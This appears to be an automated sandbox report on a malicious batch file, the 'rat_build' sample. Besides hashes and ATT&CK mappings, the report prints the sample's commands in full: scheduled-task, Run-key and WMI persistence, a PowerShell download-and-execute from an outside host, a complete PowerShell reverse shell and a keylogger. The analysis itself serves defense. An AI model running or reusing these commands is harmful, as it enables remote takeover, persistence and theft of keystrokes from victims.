87e7553b967f8c544fced65c76d918af428aa414668c8fe9a84a5d8f32f0ef00

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:13

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General

Target
rat_build_40007_014203.bat
Size 4KB
Sample260529-15agmsht8x
SHA256 87e7553b967f8c544fced65c76d918af428aa414668c8fe9a84a5d8f32f0ef00
MD5 6539a4a765ad652cc4c3cdc992ec46ab
SHA1 878fcb0e426708009a3878b299a356dfe7b5f7d0
SHA512 9d87eb0a6ac841011fb2b8ec31a745885fccd227974d6ebf1b5a7fff49414b11c962f2723741a57428e60fbdfe825913dd548ceafbe62649869a7259572090d2
SSDEEP 96:ZJIkIWQTunDapK3Ho3VE0xAWcms9axTQW6HuMgJ3lMyiFgZk8mvlo1bqyPg:HDQT0ag36EpBeT2HuMU+yiFgkHlcqyPg
TLSH
T19BA1F61B9BA27210C5F82658EA33784C175CE9F71386C9CDBF0ECDC51A4CA87D1286A7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_40007.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
352	powershell.exe
4500	powershell.exe
1196	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_40007 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_40007.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
748	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
968	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2688	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1588	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
352	powershell.exe
352	powershell.exe
4500	powershell.exe
4500	powershell.exe
1196	powershell.exe
1196	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	432	WMIC.exe
Token: SeSecurityPrivilege	432	WMIC.exe
Token: SeTakeOwnershipPrivilege	432	WMIC.exe
Token: SeLoadDriverPrivilege	432	WMIC.exe
Token: SeSystemProfilePrivilege	432	WMIC.exe
Token: SeSystemtimePrivilege	432	WMIC.exe
Token: SeProfSingleProcessPrivilege	432	WMIC.exe
Token: SeIncBasePriorityPrivilege	432	WMIC.exe
Token: SeCreatePagefilePrivilege	432	WMIC.exe
Token: SeBackupPrivilege	432	WMIC.exe
Token: SeRestorePrivilege	432	WMIC.exe
Token: SeShutdownPrivilege	432	WMIC.exe
Token: SeDebugPrivilege	432	WMIC.exe
Token: SeSystemEnvironmentPrivilege	432	WMIC.exe
Token: SeRemoteShutdownPrivilege	432	WMIC.exe
Token: SeUndockPrivilege	432	WMIC.exe
Token: SeManageVolumePrivilege	432	WMIC.exe
Token: 33	432	WMIC.exe
Token: 34	432	WMIC.exe
Token: 35	432	WMIC.exe
Token: 36	432	WMIC.exe
Token: SeIncreaseQuotaPrivilege	432	WMIC.exe
Token: SeSecurityPrivilege	432	WMIC.exe
Token: SeTakeOwnershipPrivilege	432	WMIC.exe
Token: SeLoadDriverPrivilege	432	WMIC.exe
Token: SeSystemProfilePrivilege	432	WMIC.exe
Token: SeSystemtimePrivilege	432	WMIC.exe
Token: SeProfSingleProcessPrivilege	432	WMIC.exe
Token: SeIncBasePriorityPrivilege	432	WMIC.exe
Token: SeCreatePagefilePrivilege	432	WMIC.exe
Token: SeBackupPrivilege	432	WMIC.exe
Token: SeRestorePrivilege	432	WMIC.exe
Token: SeShutdownPrivilege	432	WMIC.exe
Token: SeDebugPrivilege	432	WMIC.exe
Token: SeSystemEnvironmentPrivilege	432	WMIC.exe
Token: SeRemoteShutdownPrivilege	432	WMIC.exe
Token: SeUndockPrivilege	432	WMIC.exe
Token: SeManageVolumePrivilege	432	WMIC.exe
Token: 33	432	WMIC.exe
Token: 34	432	WMIC.exe
Token: 35	432	WMIC.exe
Token: 36	432	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1144	WMIC.exe
Token: SeSecurityPrivilege	1144	WMIC.exe
Token: SeTakeOwnershipPrivilege	1144	WMIC.exe
Token: SeLoadDriverPrivilege	1144	WMIC.exe
Token: SeSystemProfilePrivilege	1144	WMIC.exe
Token: SeSystemtimePrivilege	1144	WMIC.exe
Token: SeProfSingleProcessPrivilege	1144	WMIC.exe
Token: SeIncBasePriorityPrivilege	1144	WMIC.exe
Token: SeCreatePagefilePrivilege	1144	WMIC.exe
Token: SeBackupPrivilege	1144	WMIC.exe
Token: SeRestorePrivilege	1144	WMIC.exe
Token: SeShutdownPrivilege	1144	WMIC.exe
Token: SeDebugPrivilege	1144	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1144	WMIC.exe
Token: SeRemoteShutdownPrivilege	1144	WMIC.exe
Token: SeUndockPrivilege	1144	WMIC.exe
Token: SeManageVolumePrivilege	1144	WMIC.exe
Token: 33	1144	WMIC.exe
Token: 34	1144	WMIC.exe
Token: 35	1144	WMIC.exe
Token: 36	1144	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1144	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4720 wrote to memory of 1588	4720	cmd.exe	89
PID 4720 wrote to memory of 2688	4720	cmd.exe	90
PID 4720 wrote to memory of 432	4720	cmd.exe	91
PID 4720 wrote to memory of 1144	4720	cmd.exe	92
PID 4720 wrote to memory of 2372	4720	cmd.exe	93
PID 4720 wrote to memory of 968	4720	cmd.exe	94
PID 4720 wrote to memory of 748	4720	cmd.exe	100
PID 4720 wrote to memory of 352	4720	cmd.exe	101
PID 4720 wrote to memory of 4500	4720	cmd.exe	102
PID 4720 wrote to memory of 1196	4720	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_40007_014203.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_40007" /tr "C:\Users\Admin\AppData\Local\Temp\_40007.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1588
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_40007" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_40007.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2688
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_40007", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:432
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_40007", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_40007.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1144
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_40007.txt
  2⤵
  PID:2372
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:968
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_40007.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9a067b417ee95766cff1728ab6ca52949e07a791caa0612de3a172f3856e42ee
MD5 a9cd991f877ee0ca9ba02e932e372de9
SHA1 1890ff642df3a9e9ca614e8a9c731632cd299877
SHA512 3c1585b78c15ea5fe9626b66ec5c5cb630effb0d5b99be322aca149de907062ee997e336b88272cb679e528177d0ab8ebcf141a60a136070d15b20d0c73325e7
TLSH
T107115327B39C8921CC96153A409DAC1172B683DB81AEDE9FAFC4D214A07F984CB612A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 705cc35b7d30f2c707962807d5492ed1ff4451ab5f98e6ba6831c220801a76c6
MD5 b0ed195bb0a5cbe5e211e5baa36d19b1
SHA1 00b9024728e60c5c03f2c0b287e39af3fd479010
SHA512 8bf0dae509b1b1687f262ad55987846a17331638a5c5326e240c1802450588bf2013467772b97bb39ec00c246000672765fb44c78ef790f3668f596267ec3dc2
TLSH
T1FE115727B39CC9A1CC96153A409D9C1172B683DB40AEDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_he2ml1eg.e0b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_he2ml1eg.e0b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/352-3-0x000001D4B5D60000-0x000001D4B5D82000-memory.dmp

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